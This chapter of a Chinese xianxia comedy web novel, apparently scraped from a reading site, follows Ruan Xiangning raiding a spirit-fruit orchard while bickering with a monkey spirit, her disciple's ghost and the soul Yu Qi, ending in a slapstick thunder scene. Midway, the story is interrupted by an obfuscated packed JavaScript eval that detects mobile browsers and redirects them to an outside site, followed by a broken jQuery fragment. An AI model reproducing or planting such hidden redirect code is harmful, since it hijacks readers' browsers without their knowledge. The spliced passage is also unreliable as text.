“阮葙宁!姐,姐,老祖姐,求你了,给我的猴子猴孙留条活路吧!”


    后铮试图阻止阮葙宁大半夜发癫,跑他和曲相勖平半分的果园里疯狂采摘灵果,导致他的猴子猴孙们下半年饿肚子的行为。


    猴子站在树下,苦口婆心地劝诫:“姑奶奶,你听我说,曲相勖那小子吃不了这么多灵果,他真的吃不下。你给我留点,给我留点吧!”


    阮葙宁连眼神都懒得分他一个,“你和虞七串通好,合起伙来诓我,我还没找你算账,你倒是先送上门来了。你给我等着,等我摘满这袋灵果,我就下树来揍死你!”


    后铮:“!”


    “你胡说,我什么时候和他串通好诓你了,你不要血口喷猴啊!我可是一只遵纪守法的好猴,可不像某些人一样,道貌岸然,狗狗祟祟。”他轻哼一声别过头,双手抱臂站立。


    心中笃定阮葙宁会上钩,到时候就把所有责任全部推到虞七头上。反正他又不是什么好猴,说点谎,谁又知道呢?


    阮葙宁果真上钩,手上采摘灵果的动作一顿,扭头看向他,嗤笑一声,阴阳怪气道:“那你还真是无辜惨了。”


    “可不是嘛,天上地下也只有我这一只猴子这样讲道理。你要是碰上其他的猴子,可找不出比我还讲道理的。”他顺着阮葙宁的话说下去,压根没意识到这话里其他的意思。


    其实都能理解,后铮是灵猴化形,说到底就是一只猴子而已,听不出来也很正常。


    “啧啧啧,师傅,您也理解理解。毕竟,后铮的脑瓜子没多大。何况他被摧残了这么多年,也不知道智力退化到什么地步了。”


    兰霄缓缓从她腰间的青玉佩里飘出来,嘴上似是抹了砒霜,道:“猴子嘛,只要他不动手打人就已经是万幸了。”


    听见这久违又熟悉的声音,后铮还突然诧异了一瞬,心中存疑。顺势回头一看,就见阮葙宁身边凭空飘着一个虚幻的身影,暴露在他视线里的那张逐渐清晰的脸越看越眼熟。


    随后,后铮在脑中掀起了风暴。


    兰霄又是轻啧两声,垂眸看着树下的后铮,疑惑问阮葙宁:“师傅,怎么不见知白长老,难道您没把他找回来吗?”


    “你怎么知道我会先找到他?”阮葙宁目光疑惑地看向他,“这也是虞七告诉你的?”


    “啊……啊哈哈,我就是,我就是猜的哈哈……”猛然意识到自己说漏了嘴,兰霄立马否认,满脸心虚笑着打哈哈,打算将此事糊弄过去。


    “师叔他没告诉我,是我自己猜的。我想知白长老原先不是最喜欢跟着您吗?既然您都回来这么久了,那知白长老感应到您,肯定会回来的,对不对?”


    “……不对。”


    兰霄:“哈哈,我就说嘛,怎么……等等,师傅您说什么?”


    “我说不对。”阮葙宁目带审视地看着他,随手摘下手边的灵果,在衣裳上胡乱擦了两下,就往嘴里送,“知白是我偶然进入一方低阶秘境遇见,才带回来的。他是你师叔的灵宠,我与他的感应并不强,我的重生并不会将他惊醒。倒是你,你到底是怎么知道,我会先找他的呢?”


    兰霄心虚笑了笑,“我就是……”


    “别说猜的。”阮葙宁懒得听他说借口,打断他的话,淡声道:“你那么喜欢猜,也不见你猜出来自己会被当成镇守五行传送阵的阵眼之一。还是说,你只猜你想猜的,你不想猜的一律都猜不准?”


    他这下心虚地笑都笑不出来了,只得是满脸尴尬地努努嘴,小声说:“师傅,不是我不说实话,是天道看着呐,我哪敢说实话啊。说不定我一个开口,就被天雷劈成渣渣灰,然后连复生的机会都没了。”


    阮葙宁睨他一眼,“你告诉我这些事情,天道劈得是我,又不是你,你紧张个什么劲儿?”


    “劈……劈您?!”兰霄大呼稀奇,“为什么啊?”


    “为什么?”她轻啧一声,微蹙着眉头,狠狠咬了一口灵果,道:“等你有机会,就去问问你师叔,都是他造的孽!祸祸光我的灵矿山就算了,居然还把我当成东洋人来整。造孽,真是造孽!”


    兰霄:“……”


    虞七:……


    “呃,师傅,这其中是不是有什么误会啊?师叔,师叔他为人虽然懒散顽劣了一些,但也……呃,也不至于这么不识大体,不知礼数,还让你被雷劈吧……”


    兰霄本来还为虞七辩解,但是说来说去,声音越来越小,显然是意识到不对劲了。


    虞七:对啊,我哪有那么阴险!不对劲,兰霄怎么越说声音越小?!


    阮葙宁冷嗤一声,转头继续摘灵果,一言不发。


    遂,兰霄也适时开启了头脑风暴,比后铮后一步陷入了沉思。


    这下只剩下虞七一缕地魂孤军奋战,还在阮葙宁识海里,疑惑:嘶,感觉我错过了好多好多事情。葙宁,有兴趣聊聊十枚下品灵石的天吗?


    阮葙宁残忍拒绝:没兴趣,我身家库库上涨,想和我聊天,得加钱。


    虞七:十枚上品灵石。


    阮葙宁:好嘞,善良的主顾,请说出你想聊的话题吧。


    虞七:……


    虞七:感觉我不在的时候,命魂稀里糊涂的告诉了你许多我不知道的事情。


    阮葙宁:这话说得好,先说说你吧。你是自席相珩进入修真界之后,就一直跟着他。还是说你的这缕地魂穿过天裂去往他的时空,一直待在他的识海里。直到他来了修真界,你才醒过来,偶尔能掌握他的身体。你的情况是前者,还是后者?


    虞七长叹一口气:后者。


    阮葙宁蹙眉:所以宗门内的阵法和禁制,真是你在祭阵前一意孤行干的?就算是你重回修真界之后,也没想过要解开阵法禁制吗?


    虞七:……当初你身陨,我自知时日无多,你的徒弟们也是死伤无数。算是为了保全五行宗,我只能这样做。将后铮禁在五行宗内两千余年,算是我一己之私,但我也不想你的心血白白浪费。这本就是天道不公,我自是想与其争上一争,为你博得一条活路。


    阮葙宁:可你此法太过激进,你明明是苍生道的修士,怎么能将后铮连其猴子猴孙的性命视如草芥?


    虞七:魔族来犯,就算我不在宗门内设下禁制,将它们圈在此处,它们的下场也好不到哪里去。兰霄那一辈的弟子们活下来的寥寥,五宗的幸存人数也是屈指可数。它们不过是一群灵猴,自保能力不足,也不像知白一样是传闻中的神兽,天生地养。


    阮葙宁:……


    她一时竟不知道该说虞七此举是对还是错,姑且一半一半,也算是不偏不倚。


    虞七:我知道此举没了苍生道的道义,有悖苍生道的善念,但我亦不后悔。纵使千般万般错处,只我一人承担,葙宁你毋需担心。


    阮葙宁:……所以,我一定会遇见知白,将他带回五行宗也是你早就一手安排好的?


    虞七:这个不是我安排好的,只能说是你恰好在那里唤醒了沉睡的知白。我只是告诉所有人,你没死,你一定会回来的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710898|154423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是一个时间问题,你需要一定的时间修养自己的神魂,修养好了就能复生。


    阮葙宁:……他们对你,还真是深信不疑啊。


    轰隆隆——


    忽闻惊雷乍响,霎那间一道犹如银龙的天雷映亮天际,直直坠落在南侧峰山上。


    曲相勖登时就坐不住了,胡乱踏着一双草鞋,脚步不停的往屋外走。


    “这深更半夜的,你去哪?”


    出门就撞上带着自家小师妹过来进来学术交流的温傲云,他见曲相勖脚步慌忙,连门都没来得及拽一手,忽视他俩而去。


    “曲相勖,你去哪?!”


    曲相勖急急忙忙,头也不回道:“我有要事要去果园一趟,你们明晚再来吧!”


    他慌忙的身影一头扎进黑幕中,消失的无影无踪,独留二人在原地观望,最后演变到面面相觑。


    温傲云看时径微,时径微尴尬地咧嘴一笑,继续尴尬道:“曲师兄,真是心系他的农作物啊?”


    他冷嗤一声,刻薄道:“不知道的还以为那些玩意儿是他祖宗。”


    时径微没吭声,只是看着他眨巴眨巴大眼睛。


    他硬是从中看出了“跟着去看看”的意味,伴随而来的第一反应是怀疑自己眼睛瞎了,脑子也出问题了。


    他看着自家小师妹,愣了好一会儿,才试探性用商量的语气,“我们,也去看看?”


    “好啊好啊。”


    时径微嘴上说着,人已经先他一步跑路了。


    温傲云:“……?”小师妹也真是的,一眼没看住,不止是胳膊肘,就连她这个人都彻彻底底地染上了五行宗的陋习。半夜不睡觉,跟夜猫子似的四处乱蹿。


    “我以后再也不跟着你半夜乱蹿了呃……”后铮边说,口中边往外冒黑烟,浑身被突然降下的天雷劈得黢黑,随处一躺都能完美的与夜色融为一体。


    虽然他此刻的下场凄惨,但他身残志坚,还能坚持骂阮葙宁,其毅力十分难得,“阮葙宁,你个杀千刀的!就算是做鬼,我也不会……放过噗!!!”


    曲相勖黑灯瞎火乱蹿,没看见他那么大个人,一脚蹬上他心口,将他胸中郁积的陈年老血一脚踩了出来。


    “咦,怎么打雷还下雨了?”曲相勖抬手抹了抹脸,再抬头看了看天,笃定道:“原来是临时雨。”


    他说完就继续往前走,独留黢黑的后铮伸出尔康手,断断续续道:“姓曲的,你大爷……噗!!!”


    “咦,我刚刚踩了个什么东西?”时径微紧随其后,又友情赠送了他一记心窝脚。


    温傲云倒是避开了可怜的他,但没躲开他的陈年老血喷溅模式的攻击,喜提一脸老血。


    “你是踩中什么烂掉的灵果吗?喷了我一脸水,还有一股子难闻的腥味。”他边抹脸,边嫌弃地说。


    时径微轻啧一声,声音里带着明显的不奈,“哎呀,大师兄,别墨迹了。曲师兄都已经走远了,待会儿追上他再擦吧!”


    温傲云:“……?”果然是学坏了,张口闭口就是别人家的师兄!


    又一次看着两人离去,后铮已经放弃伸手求救,转而望着无边的夜幕,嘀咕道:“我要,诅咒所有人,诅咒所有人都要被我扇巴掌!所唔……”


    “扇扇扇,随便扇好了吧。”符葙妤随手往他嘴里塞了一枚灵果,顺便出于人道主义关怀,将人救起扛肩上,站定一瞬,摸黑朝某个方向而去。


    后铮:“……”让这群未开化的野蛮人离我远一点,远一点!